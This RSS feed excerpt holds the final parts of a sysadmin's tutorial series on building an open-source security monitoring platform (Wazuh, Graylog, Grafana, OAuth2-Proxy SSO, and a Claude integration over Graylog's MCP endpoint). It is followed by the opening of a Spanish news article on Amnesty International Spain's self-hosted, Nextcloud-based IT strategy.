/log/grafana/grafana.log</li><li>Fluent Bit /log/fluent-bit/td-agent-bit.log</li><li>OAuth2-Proxy /log/oauth2-proxy/oauth2.log</li><li>Nginx /log/nginx/error.log</li><li>Redis /log/redis/redis-server.log</li></ul><p><strong>Known issue: unexpected server restart</strong></p><p><strong>Symptom:</strong> Wazuh Manager fails to start after an unexpected server restart. The log shows:</p><pre>ERROR: Another instance is locking this process. If you are sure that<br>no other instance is running, please remove<br>/var/ossec/var/start-script-lock/</pre><p><strong>Cause:</strong> Wazuh creates a lock directory when starting and removes it on clean shutdown. If the server restarts abruptly (power cut, OOM killer, etc.), the directory remains and the next startup fails.</p><p><strong>Solution:</strong> Remove the lock directory manually and start service.</p><pre>rm -rf /var/ossec/var/start-script-lock/<br>systemctl start wazuh-manager</pre><p><strong>Recommended diagnostic approach</strong></p><p>When something isn’t working, the recommended review order is:</p><ol><li><strong>Is the service running?</strong> systemctl status &lt;service&gt;</li><li><strong>Any recent errors?</strong> journalctl -xeu &lt;service&gt; --since "10 minutes ago"</li><li><strong>Does the service’s own log file have more detail?</strong> tail -50 &lt;log_path&gt;</li><li><strong>For network issues between components:</strong> verify ports are listening<br>ss -tlnp | grep &lt;port&gt;</li><li><strong>For authentication issues:</strong> check the OAuth2-Proxy log and the headers Nginx is sending.</li></ol><p>The most frequent problems in this implementation were:</p><ul><li>Incorrect indentation in fluent-bit.conf (service starts without errors but doesn't process data).</li><li>Wazuh TLS certificate not included in Graylog’s JKS (connection silently rejected).</li><li>Service startup order: MongoDB must be running before Graylog.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Fx4TRiVvV9Z3fiR3.png"></figure><h3>Authentication: SSO and Integration Graylog with Wazuh</h3><p><strong><em>Part 11</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wl3X9Hdfe8RZMX7lY0agwQ.jpeg"></figure><p>This is the most complex article in the series. Up to this point, all components are installed, but each has its own authentication system. The goal of this article is to configure the three solutions to accept the user identity propagated by OAuth2-Proxy via Nginx — completely eliminating local passwords from the daily login cycle.</p><blockquote><em>⚠</em><strong><em> Important</em></strong><em>:</em> Follow the order A-&gt;B-&gt;C-&gt;D. Configuring proxy authentication on a system before the user has been created will result in loss of access.</blockquote><blockquote>Verify the response of each curl command before proceeding.</blockquote><pre># Create random passwords for users<br><br>cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1</pre><p><strong>How Proxy Authentication Works</strong></p><p>The mechanism is as follows: Nginx validates the user’s identity with OAuth2-Proxy and then injects the username as an HTTP header x-proxy-user in each request to applications. Each application must be configured to trust this header and automatically assign roles.</p><p><strong>Continue with the following four steps:</strong></p><h4>11-A. Wazuh OAuth2</h4><pre># Reload systemctl and start services<br><br>systemctl daemon-reload<br>systemctl start oauth2-proxy wazuh-manager wazuh-indexer wazuh-dashboard</pre><blockquote>Startups may take some time. Check the logs for errors before continuing.</blockquote><p><strong>Creating Role Mapping</strong></p><p>Wazuh needs a role mapping that associates the username propagated by the proxy with the administrator role.</p><p><strong>Option A — Web<br></strong>https://wazuh.&lt;domain.com&gt;/app/security#/security?tab=roleMapping</p><blockquote>Use the “admin” credential from the “wazuh-passwords.txt” file.</blockquote><ul><li>Role mapping name: ProxyAuth</li><li>Roles: administrator</li><li>Custom rules → “Add new rule”</li><li>User field: user_name</li><li>Search operation: MATCH</li><li>Value: &lt;AD_user&gt;</li></ul><p><strong>Option B — API</strong></p><blockquote>Use the “wazuh-wui” credential from the “wazuh-passwords.txt” file.</blockquote><pre># Generate token<br><br>token=$(curl -u wazuh-wui:&lt;password&gt; -k -X POST "https://localhost:55000/security/user/authenticate?raw=true")</pre><pre># Create rule<br><br>curl -k -X POST "https://localhost:55000/security/rules" \<br>-H "Authorization: Bearer $token" \<br>-H "Content-Type: application/json" \<br>-d '{<br>  "name": "ProxyAuth",<br>  "rule": {<br>    "MATCH": {<br>      "user_name": "&lt;AD_user&gt;"<br>    }<br>  }<br>}'</pre><blockquote>Rule created with ID: 100</blockquote><pre># Assign the rule to the administrator role<br><br>curl -k -X POST "https://localhost:55000/security/roles/1/rules?rule_ids=&lt;id_rule&gt;" \<br>-H "Authorization: Bearer $token" \<br>-H "Content-Type: application/json"</pre><p>— — — end options</p><p><strong>Configure proxy authentication in OpenSearch</strong></p><pre># /etc/wazuh-dashboard/opensearch_dashboards.yml - Add and replace (part of the file)<br><br>opensearch_security.auth.type: "proxy"<br>opensearch_security.proxycache.user_header: "x-proxy-user"<br>opensearch_security.proxycache.roles_header: "x-proxy-roles"<br>opensearch_security.proxycache.proxy_header: "x-forwarded-for"<br>opensearch_security.proxycache.proxy_header_ip: "127.0.0.1"<br>opensearch.requestHeadersAllowlist: ["securitytenant","Authorization","x-proxy-user","x-proxy-roles","x-forwarded-for"]</pre><pre># /etc/wazuh-indexer/opensearch-security/config.yml — Enable xff and proxy auth (part of the file)<br><br>xff:<br>  enabled: true<br>  internalProxies: '127\.0\.0\.1'<br><br>proxy_auth_domain:<br>  description: "Authenticate via proxy"<br>  http_enabled: true</pre><pre># /etc/nginx/sites-enabled/wazuh - Enable<br><br>auth_request /oauth2/auth;</pre><pre># Apply changes<br><br>cd /etc/wazuh-indexer/opensearch-security/<br>/usr/share/wazuh-indexer/plugins/opensearch-security/tools/securityadmin.sh \<br>  -cacert /etc/wazuh-indexer/certs/root-ca.pem \<br>  -cert /etc/wazuh-indexer/certs/admin.pem \<br>  -key /etc/wazuh-indexer/certs/admin-key.pem \<br>  -h 127.0.0.1<br>systemctl restart wazuh-dashboard nginx</pre><blockquote>As of now, Wazuh uses OAuth2-Proxy for authentication.</blockquote><p><strong>Custom Backend Roles</strong></p><p>If your goal is to replace the backend role hardcoded with a Group 365:</p><ul><li>In the App Entra ID, add Security Group ID in Token optional Group Claims (Token configuration).</li><li>Next, obtain the Object ID of group 365.</li><li>Duplicate the “all_access” role at: https://wazuh.&lt;domain.com&gt;/app/security-dashboards-plugin#/roles/duplicate/all_access and name it "Group365" for reference.</li><li>Then, go to the mapping page: https://wazuh.&lt;domain.com&gt;/app/security-dashboards-plugin#/roles/edit/Group365/mapuser and paste the Object ID into the Backend roles field.</li><li>In /etc/wazuh-indexer/opensearch.yml, add "Group365" to the list defined under plugins.security.restapi.roles_enabled.</li><li>In Nginx Wazuh Host set auth_request_set $roles $upstream_http_x_auth_request_groups and proxy_set_header x-proxy-roles $roles.</li><li>Restart wazuh-indexer and nginx systemctl restart wazuh-indexer nginx</li></ul><p><strong>References</strong></p><pre># /etc/nginx/sites-enabled/wazuh</pre><pre>location / {<br>   auth_request /oauth2/auth;<br>   error_page 401 = /oauth2/start;<br>   auth_request_set $user $http_x_auth_user;<br>   proxy_set_header x-proxy-user $user;<br>   <strong>auth_request_set $roles $upstream_http_x_auth_request_groups</strong>;<br>   <strong>proxy_set_header x-proxy-roles $roles</strong>;<br>   proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;<br>   proxy_set_header X-Real-IP $remote_addr;<br>   proxy_http_version 1.1;<br>   proxy_read_timeout 10s;<br>   proxy_set_header Upgrade $http_upgrade;<br>   proxy_set_header Connection 'upgrade';<br>   proxy_set_header Host $host;<br>   proxy_cache_bypass $http_upgrade;<br>   proxy_set_header X-Forwarded-Proto $scheme;<br>   proxy_pass <a href="https://localhost/">https://localhost:8080;</a><br>   access_log off;<br>   log_not_found off;<br>  }</pre><pre># /etc/wazuh-indexer/opensearch.yml</pre><pre>plugins.security.restapi.roles_enabled:<br>- "all_access"<br>- "security_rest_api_access"<br>- "<strong>Group365</strong>"</pre><p><strong>Alernative Map Nginx</strong></p><pre># /etc/nginx/nginx.conf</pre><pre>http {<br>  map $upstream_http_x_auth_request_email $http_x_auth_user {<br>    "~^(?&lt;user&gt;[^@]+)@" $user;<br>  }</pre><pre><strong>map $http_x_auth_user $roles {<br>    "&lt;AD_user1&gt;" "&lt;group_object_id&gt;";<br>    "&lt;AD_user2&gt;" "readall";<br>  }</strong></pre><h4>11-B. Connect Graylog to Wazuh Indexer</h4><p><strong>Create user in Wazuh for Graylog</strong></p><blockquote>Graylog needs a user in Wazuh Indexer to be able to index logs.</blockquote><blockquote>Use the “admin” credential from the “wazuh-passwords.txt” file.</blockquote><blockquote>User defined “graylog” (or you can choose another name).</blockquote><p><strong>Option A — Web<br></strong>https://wazuh.&lt;domain.com&gt;/app/security-dashboards-plugin#/users</p><ul><li>Username: graylog</li><li>Password: &lt;password&gt;</li><li>Backend roles: admin</li></ul><p><strong>Option B — API</strong></p><pre># Create user<br><br>curl -k -X PUT "https://127.0.0.1:9200/_plugins/_security/api/internalusers/graylog" \<br>-H "Content-type: application/json" \<br>-u "admin:&lt;password&gt;" \<br>-d '{<br>  "password": "&lt;password&gt;",<br>  "backend_roles": ["admin"]<br>}'</pre><p>— — — end options</p><pre># /etc/graylog/server/server.conf - Enable ElasticSearch connection<br><br>elasticsearch_hosts = https://graylog:&lt;password&gt;@127.0.0.1:9200</pre><blockquote>Use “127.0.0.1” and not “localhost” — Wazuh’s TLS certificate requires the SAN (Subject Alternative Name) to match exactly.</blockquote><h4>11-C. Graylog OAuth2</h4><pre># Start services<br><br>systemctl start mongod graylog-server</pre><blockquote>Use the “admin” credential, <a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#ce08">reference</a>.</blockquote><p><strong>Option A — Web</strong></p><p><strong>Enable header</strong><br>https://graylog.&lt;domain.com&gt;/system/authentication/authenticator/edit</p><ul><li>Enabled: ✓</li><li>Username header: x-proxy-user</li></ul><p><strong>Create user<br></strong>https://graylog.&lt;domain.com&gt;/system/users/new</p><ul><li>First Name: &lt;first_name&gt;</li><li>Last Name: &lt;last_name&gt;</li><li>Username: &lt;AD_user&gt;</li><li>E-Mail Address: &lt;email&gt;</li><li>Assign Roles: Admin</li><li>Password: &lt;password&gt;</li></ul><p><strong>Option B — API</strong></p><pre># Enable header<br><br>curl -X PUT "http://localhost:9000/api/system/authentication/http-header-auth-config" \<br>-H "Content-Type: application/json" \<br>-H "X-Requested-By: cli" \<br>-u "admin:&lt;password&gt;" \<br>-d '{<br>  "enabled": true,<br>  "username_header": "x-proxy-user"<br>}'</pre><pre># Create user<br><br>curl -X POST "http://localhost:9000/api/users" \<br>-H "Content-Type: application/json" \<br>-H "X-Requested-By: cli" \<br>-u "admin:&lt;password&gt;" \<br>-d '{<br>  "first_name": "&lt;first_name&gt;",<br>  "last_name": "&lt;last_name&gt;",<br>  "username": "&lt;AD_user&gt;",<br>  "email": "&lt;email&gt;",<br>  "password": "&lt;password&gt;",<br>  "roles": ["Admin"],<br>  "permissions": []<br>}'</pre><p>— — — end options</p><pre># /etc/graylog/server/server.conf -Enable and edit<br><br>trusted_proxies = 127.0.0.1/32</pre><pre># /etc/nginx/sites-enabled/graylog - Enable<br><br>auth_request /oauth2/auth;</pre><pre># Apply changes<br><br>systemctl restart graylog-server nginx</pre><h4>11-D. Grafana OAuth2</h4><pre># Start service<br><br>systemctl start grafana-server</pre><p><strong>Create user</strong></p><blockquote>Use the default “admin:admin” credential.</blockquote><p><strong>Option A — Web<br></strong>https://grafana.&lt;domain.com&gt;/admin/users/create</p><ul><li>Name: &lt;name&gt;</li><li>Email: &lt;email&gt;</li><li>Username: &lt;AD_user&gt;</li><li>Password: &lt;password&gt;</li></ul><p>Next screen:</p><ul><li>Enable "Grafana Admin” and change to "Admin" role.</li></ul><p><strong>Option B — API</strong></p><pre># Create user<br><br>curl -X POST "http://localhost:3000/api/admin/users" \<br>-H "Content-Type: application/json" \<br>-u "admin:&lt;password&gt;" \<br>-d ' {<br>  "name":"&lt;name&gt;",<br>  "email":"&lt;email&gt;",<br>  "login":"&lt;AD_user&gt;",<br>  "password":"&lt;password&gt;"<br>}'</pre><blockquote>Account created with ID: 2</blockquote><pre># Assign global admin<br><br>curl -X PUT "http://localhost:3000/api/admin/users/&lt;user_id&gt;/permissions" \<br>-H "Content-Type: application/json" \<br>-u "admin:&lt;password&gt;" \<br>-d '{<br>  "isGrafanaAdmin": true<br>}'</pre><pre># Assign organization administrator role<br><br>curl -X PATCH "http://localhost:3000/api/orgs/1/users/&lt;user_id&gt;" \<br>-H "Content-Type: application/json" \<br>-u "admin:&lt;password&gt;" \<br>-d '{<br>  "role":"Admin"<br>}'</pre><p>— — — end options</p><pre># /etc/grafana/grafana.ini - Enable and edit<br><br>[auth.proxy]<br>enabled = true<br>header_name = x-proxy-user<br>header_property = username<br>auto_sign_up = false<br>sync_ttl = 3600<br>whitelist = 127.0.0.1</pre><pre># /etc/nginx/sites-enabled/grafana - Enable<br><br>auth_request /oauth2/auth;</pre><pre># Apply changes<br><br>systemctl restart grafana-server nginx</pre><blockquote><em>⚠</em><strong><em> Important:</em></strong><em> </em>For security reasons, replace the default password for the user “admin”.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*LlADIl-n2kYp6S5O.png"></figure><h3>Graylog Ingest: Configuring Data Ingest from Fluent Bit</h3><p><strong><em>Part 12</em></strong></p><p>With all components installed and SSO authentication configured, it’s time to connect the final wires: configure Graylog to receive the events that Fluent Bit sends from Wazuh, and activate all services so that the platform is fully operational.</p><p>Fluent Bit sends Wazuh events to “localhost:5555” in JSON format. Graylog needs an active input listening on that port to process them.</p><p><strong>Option A — Web interface:<br></strong>https://graylog.&lt;domain.com&gt;/system/inputs</p><ul><li>Select input type: Raw HTTP</li><li>Click “Launch new input”</li><li>Configure:<br><strong> </strong>Title<strong>:</strong> Wazuh<br><strong>Bind address:</strong> 127.0.0.1</li><li>Click “Launch Input”</li><li>Follow the wizard to start the input and verify your diagnosis.</li></ul><p><strong>Option B — API:</strong></p><pre># Create RAW HTTP input - Graylog admin credential<br><br>curl -X POST "http://localhost:9000/api/system/inputs" \<br>-H "Content-Type: application/json" \<br>-H "X-Requested-By: cli" \<br>-u "admin:&lt;password&gt;" \<br>-d '{<br>  "title": "Wazuh",<br>  "type": "org.graylog2.inputs.raw.http.RawHttpInput",<br>  "global": true,<br>  "configuration": {<br>    "bind_address": "127.0.0.1",<br>    "port": 5555,<br>    "recv_buffer_size": 1048576,<br>    "max_chunk_size": 65536<br>  }<br>}'</pre><blockquote>bind_address: 127.0.0.1 limits listening to the local interface — Fluent Bit runs on the same server, so there’s no need to expose the port externally.</blockquote><blockquote>Standard configuration uses the default stream.</blockquote><p>— — — end options</p><p>With the platform fully configured, we enable automatic service startup and start Fluent Bit to begin receiving events:</p><pre>systemctl enable fluent-bit mongod graylog-server grafana-server oauth2-proxy<br>systemctl start fluent-bit</pre><p>Order matters: MongoDB must be running before Graylog, and OAuth2-Proxy before Nginx. The “enable” command ensures that systemd respects dependencies on future server restarts.</p><p><strong>Verification: Is everything Working?</strong></p><p>Once all services are active, verify the complete flow:</p><ol><li><strong>Fluent Bit is reading Wazuh alerts</strong>:<br><em>tail -f /log/fluent-bit/td-agent-bit.log</em><br>You should see error-free processing lines.</li><li><strong>Graylog is receiving messages</strong>: In the web interface, navigate to Search and verify that messages with the source “wazuh” are arriving.</li><li><strong>SSO Authentication</strong>: Access <a href="https://site.domain.com/">https://site.domain.com</a> from your browser — it should redirect you to the IdP and then return authenticated.</li><li><strong>Grafana connected to Wazu</strong>h: In Grafana, configure a data source pointing to Wazuh and verify that it returns data.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*_yPCjCev-1VHORsJ.png"></figure><h3>Graylog MCP + Claude: Querying Security Logs in Natural Language with AI</h3><p><strong><em>Part 13</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zafoeeMeYUR77NUv3B4o3w.jpeg"></figure><p>This is the most groundbreaking article in the series. The platform is already operational: Wazuh detects threats, Fluent Bit transports events, Graylog indexes them, and Grafana visualizes them. But there’s an additional layer that completely changes how we interact with security data: <strong>integrating Claude as an AI client on the Graylog REST API — MCP is more than an API; it’s a Bridge</strong>.</p><p><strong>What is MCP and why does it matter?<br></strong>MCP (Model Context Protocol) is a protocol that allows language models like Claude to connect directly with external tools and data sources. In this case, Graylog exposes its API as an MCP server, and Claude acts as an intelligent client that can query, filter, and analyze security logs.</p><p><strong>The change this produces is significant</strong>:</p><ul><li>Instead of building queries in the Graylog interface, the analyst writes in natural language: “<strong>Were there any failed login attempts in the last 2 hours?</strong>”</li><li>Instead of reviewing hundreds of log lines, Claude summarizes the relevant patterns and presents them in context.</li><li>Non-technical users — operators without SIEM experience — can interact directly with the security data.</li><li>Every query is logged in Graylog like any other API interaction, maintaining complete traceability.</li></ul><p><strong>Architecture of integration</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/325/1*S0hueQdlC9DM7gMt2rQ4IA.jpeg"></figure><p>A specific virtual host was created in Nginx “graylog-mcp” without OAuth2-Proxy — Claude authenticates directly with Basic credentials encoded in base64.</p><h3>Installation</h3><p><strong>On the client:</strong></p><ol><li><strong>NodeJS:</strong> <a href="https://nodejs.org/en/download">https://nodejs.org/en/download</a></li><li><strong>Claude Desktop:</strong> <a href="https://claude.com/download">https://claude.com/download</a></li></ol><h3>Configuration in Graylog</h3><p><strong>Step 1: Enable MCP in Graylog</strong></p><p>https://graylog.&lt;domain.com&gt;/system/configurations/MCP</p><p><strong>Step 2: Create a user token</strong></p><p>Navigate to https://graylog.&lt;domain.com&gt;/system/users → Actions → More → Edit tokens.</p><ul><li>Token Name: &lt;name&gt;</li><li>Token TTL: &lt;time&gt;</li></ul><blockquote>TTL Syntax Examples: for 60 seconds: PT60S, for 60 minutes: PT60M, for 24 hours: PT24H, for 30 days: P30D</blockquote><p><strong>Step 3: Base64 Encoding of Credentials</strong></p><p>The format is "&lt;token&gt;:token” encoded in base64.</p><pre>echo -n "&lt;token&gt;:token" | base64</pre><h3>Claude Desktop Configuration</h3><p>Edit the “claude_desktop_config.json” file in Claude Desktop, usually located in "%APPDATA%\CLAUDE\".</p><pre>{<br>  "mcpServers": {<br>    "Graylog": {<br>      "command": "C:\\Program Files\\nodejs\\npx",<br>      "args": [<br>        "mcp-remote",<br>        "https://graylog-mcp.&lt;domain.com&gt;/mcp",<br>        "--header",<br>        "Authorization: Basic &lt;credential_b64&gt;"<br>      ]<br>    }<br>  }<br>}</pre><blockquote>Replace <em>&lt;domain.com&gt;</em> with your actual domain and <em>&lt;credential_b64&gt;</em> with the base64 value generated in the previous step.</blockquote><p>Restart Claude Desktop and check the connection status in: <br><strong>Settings → Developer</strong></p><blockquote>The state should be running or refer to the logs.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*zf7ollrjFRmyHYCdc_h86w.jpeg"></figure><h3>Real-world use cases</h3><p>Once connected, Claude can answer questions such as:</p><ul><li>“How many critical alerts did Wazuh generate today?”</li><li>“Are there any IPs that repeatedly attempted to connect without success?”</li><li>“Summarize the events of the last 30 minutes”</li><li>“Which services experienced errors in the last 6 hours?”</li></ul><p>The response is not a list of raw logs — it’s a natural language analysis with relevant patterns identified and contextualized.</p><h3>Security considerations</h3><ul><li>Access to graylog-mcp is restricted to HTTPS with a valid certificate.</li><li>Base64-encoded credentials are NOT encrypted — they are only encoded. True security lies in TLS and ensuring the endpoint is only accessible from the corporate network.</li><li>Every request from Claude is logged in the Graylog access log, maintaining a complete audit trail.</li><li>Rotating the token periodically is a best practice.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*7AWAjKALkSFXqCSq.png"></figure><h3>Final Architecture, evidences, and Conclusions: An Open Source Security Platform in Production</h3><p><strong><em>Part 14</em></strong></p><p>This is the final article in the series. After thirteen articles covering each component of the stack — from Wazuh to integration with Claude via MCP — it’s time to see the big picture and reflect on what worked, and what cost more than expected.</p><p><strong>Wazuh</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*G6ujNdCoZjnmY0KGutYgNA.jpeg"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u3VN36Y05Vkaht3BXX6GEg.jpeg"></figure><p><strong>Graylog</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Nq4JG1ZvNYDUTqWPnv7Rg.jpeg"></figure><p><strong>Grafana</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r6nrI73XCYVg_nZxowlhsQ.jpeg"></figure><p><strong>Claude</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*oUVy7cQSqs-d1XaWjqPVaw.jpeg"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*gSsxbeKhCf35sRQ6aouAlg.jpeg"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*xa9tIbOpgwLipnlUrvmV3g.jpeg"></figure><h3>The Complete Architecture</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vmW0rU3czxIzuIfjyuSisw.jpeg"></figure><p>The diagram shows two main flows that coexist on the platform:</p><h3>Data Flow</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*SLgK1QVdKfN8UV1mCvb1mA.jpeg"></figure><p>Wazuh detects events and writes them in JSON format. Fluent Bit continuously reads this file and forwards each event to Graylog via TCP. Graylog indexes the data to Wazuh Indexer (returns the connection to OpenSearch). Grafana connects to Wazuh as a data source for dashboards. Claude accesses the Graylog MCP Bridge for natural language queries.</p><h3>Authentication Flow</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*-0uEx_oWBnDzzvJ60tbKnw.jpeg"></figure><p>The user accesses any of the three systems with their corporate account. Nginx queries OAuth2-Proxy on each request. OAuth2-Proxy validates the session (stored in Redis) or redirects to IdP for authentication. Once authenticated, Nginx propagates the username as an HTTP header to the corresponding application.</p><h3>Lessons Learned</h3><p><strong>What worked well:</strong></p><ul><li><strong>Separate LVM volumes</strong> — the best implementation decision. On three occasions, logs grew larger than expected; none of these affected the operating system or application data.</li><li><strong>Single authentication point</strong> — after the initial (and complex) setup, the user experience is seamless. One login for three systems.</li><li><strong>Fluent Bit vs. Filebeat</strong> — Fluent Bit’s resource consumption is significantly lower. On a shared server, this matters.</li><li><strong>Graylog MCP + Claude</strong> — the most differentiating component. It completely changed how non-technical users interact with security data.</li></ul><p><strong>What cost more than expected</strong>:</p><ul><li><strong>TLS between Graylog and Wazuh Indexer</strong> — the JKS and CA certificate import is the step with the most incorrect documentation online. The guide in this article reflects what actually works.</li><li><strong>Order of operations in Authentication</strong> — configuring the authentication proxy before creating users results in loss of access. The order matters.</li></ul><h3>Is it worth it?</h3><p>For an organization that wants true visibility into its infrastructure without paying for commercial SIEM tool licenses (which can cost tens of thousands of dollars annually), the answer is yes.</p><p>The real cost is implementation time and technical expertise. This well-documented stack can be replicated in a single workday using this guide. The necessary technical knowledge includes Linux administration, basic TLS concepts, and reading the official documentation.</p><p>What you get in return is a security platform with features comparable to commercial solutions, complete control over your data, no vendor lock-in, and the ability to extend it with any component you need.</p><h3>About this series</h3><p>This implementation was carried out in production for the IT Infrastructure. All documentation reflects real decisions, real problems, and solutions that work in production.</p><p>If you have questions, found a bug, or want to share an improvement, the comments are open.</p><blockquote><strong><em>Your Turn — Operational Ownership</em></strong></blockquote><blockquote>From here, the real value comes from how you adapt it to your environment. As the operator or administrator, the next layer is yours to build:</blockquote><blockquote><strong><em>Graylog:</em></strong> Create dedicated indexes and streams per data source; build a JSON extractor for the message field to enable structured search.</blockquote><blockquote><strong><em>Vulnerability visibility:</em></strong><em> </em>A custom script can reindex Wazuh’s vulnerability summary index and inject it into Graylog via a new GELF HTTP input — all through the APIs — making vulnerability summaries available in Grafana dashboards .</blockquote><blockquote><strong><em>Alerting and reporting:</em></strong> Define alert conditions and scheduled reports based on what matters to your organization.</blockquote><blockquote><strong><em>Grafana dashboards:</em></strong> Design views tailored to what your team or clients actually need to see.</blockquote><blockquote><strong><em>API automation:</em></strong> Build scripts to automate recurring calls across the stack.</blockquote><blockquote><strong><em>Threat intelligence:</em></strong> Cross-reference events with NIST NVD and CISA KEV for deeper context and custom correlations.</blockquote><blockquote>If you have questions or need guidance on the operational side, feel free to reach out — happy to support within my availability.</blockquote><p><strong>Author:</strong><em> Antonio Valenzuela Serra </em><strong><em>— </em></strong><em>SysAdmin </em><strong><em>— </em></strong><em>Chile </em><strong><em>— </em></strong><em>May 2026\</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=c08d1b412f37" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37">Open Source Security IT Platform: Threat Detection, Logging, Alerts, AI and SSO integration.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[La soberanía digital como estrategia: así construye Amnistía Internacional España su modelo tecnológico]]></title>
<description><![CDATA[La transformación digital de una organización ya no se mide únicamente en productividad, automatización o incorporación de nuevas herramientas. En entidades sin ánimo de lucro como Amnistía Internacional España, la tecnología también se ha convertido en una cuestión de independencia, privacidad y...]]></description>
<link>https://tsecurity.de/de/3528359/it-nachrichten/la-soberana-digital-como-estrategia-as-construye-amnista-internacional-espaa-su-modelo-tecnolgico/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3528359/it-nachrichten/la-soberana-digital-como-estrategia-as-construye-amnista-internacional-espaa-su-modelo-tecnolgico/</guid>
<pubDate>Tue, 19 May 2026 10:47:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>La transformación digital de una organización ya no se mide únicamente en productividad, automatización o incorporación de nuevas herramientas. En entidades sin ánimo de lucro como <strong>Amnistía Internacional España</strong>, la tecnología también se ha convertido en una cuestión de independencia, privacidad y capacidad de actuación.</p>



<p>Desde hace más de una década, la división española de la organización trabaja con una premisa clara: reducir al máximo su dependencia de las grandes plataformas tecnológicas y mantener bajo control propio sus datos, sus sistemas y sus comunicaciones. Una estrategia que hoy, en pleno debate europeo sobre soberanía digital e inteligencia artificial, cobra una nueva dimensión. “Nosotros tenemos una política desde sistemas de ser independientes tecnológicamente, de ‘hostear’ todo lo que podamos nosotros para garantizar que no tenemos problemas para denunciar a ninguna compañía o que cualquier informe que podamos publicar afecte a los sistemas con los que trabajamos”, explica a CIO ESPAÑA <strong>Carlos López Berenguer, responsable de TI de Amnistía Internacional España</strong>.</p>



<p>Este planteamiento no es nuevo dentro de la organización. De hecho, López Berenguer asegura que llevan años trabajando en esta línea, mucho antes de que conceptos como “soberanía digital” empezaran a formar parte habitual del debate tecnológico europeo. “Este proyecto empezó hace más de 14 años, pero ahora se habla de soberanía digital y me parece que es un término potente y bastante adecuado”, señala.</p>



<h2 class="wp-block-heading">Tecnología para no depender de las ‘big tech’</h2>



<p>La estrategia tecnológica de Amnistía Internacional España se ha basado en buscar alternativas de software libre y sistemas ‘autoalojados’ que les permitan mantener el control sobre su infraestructura. “Hoy en día se habla mucho de soberanía digital y uno de los grandes valores que ofrece el software libre es el hecho de no ser dependientes de ninguna empresa para trabajar”, afirma López Berenguer.</p>



<p>El responsable de TI considera que esa independencia es especialmente importante en una organización dedicada a la defensa de los derechos humanos. “Ser capaces de trabajar contra Microsoft, es decir denunciar o investigar a la compañía sabiendo a ciencia cierta que no vamos a tener ningún tipo de represalia posible en cuanto al uso de nuestro software” es muy importante para la organización, sostiene.</p>



<p>A su juicio, el <a href="https://www.cio.com/article/4159008/preocupa-de-verdad-la-geopolitica-a-los-cio.html">contexto geopolítico actual</a> y algunos <a href="https://www.computerworld.es/article/4172791/el-debate-sobre-el-enfoque-etico-en-la-ia-toma-un-nuevo-rumbo.html">movimientos recientes de grandes compañías tecnológicas</a> refuerzan todavía más esta filosofía. “No es casualidad, en nuestra opinión, que Microsoft esté retirando una buena parte del concepto de licencias a ONG justo después de que Donald Trump dijo que ninguno de sus proveedores podía tener determinadas políticas que iban en contra de la filosofía de su Administración”, afirma.</p>



<p>Según explica, este tipo de cambios pueden generar importantes problemas económicos y tecnológicos a organizaciones que dependen completamente de plataformas externas. “Cuando ya tienes toda tu infraestructura montada, tampoco tienes tantas opciones de decidir ir a la competencia, porque realmente estás imbricado”, señala.</p>



<h2 class="wp-block-heading">Nextcloud: de una beta de cinco usuarios a convertirse en “la herramienta”</h2>



<p>Uno de los principales ejemplos de esta estrategia tecnológica ha sido la implantación de Nextcloud como plataforma interna de trabajo colaborativo. La relación de López Berenguer con esta herramienta comenzó años antes de su despliegue en la organización. “Yo ya conocía el software y llevaba siguiéndolo desde hacía bastantes años”, explica.</p>



<p>En aquel momento, Amnistía Internacional España trabajaba todavía con servidores locales de archivos y comenzaban a extenderse soluciones como Microsoft 365 o Microsoft SharePoint. “Nosotros trabajábamos como mucha otra gente con un sistema de ficheros en un servidor local en la oficina. Todo el mundo iba presencialmente a trabajar y ya estaba empezando a surgir todo el movimiento de Office 365”, recuerda.</p>



<p>Sin embargo, la organización decidió explorar otra vía. “Propuse Nextcloud porque ya conocía el software, tenía bastante experiencia con software libre y ya teníamos bastantes cosas ‘hosteadas’. Al final era poner en marcha un producto más”, explica.</p>


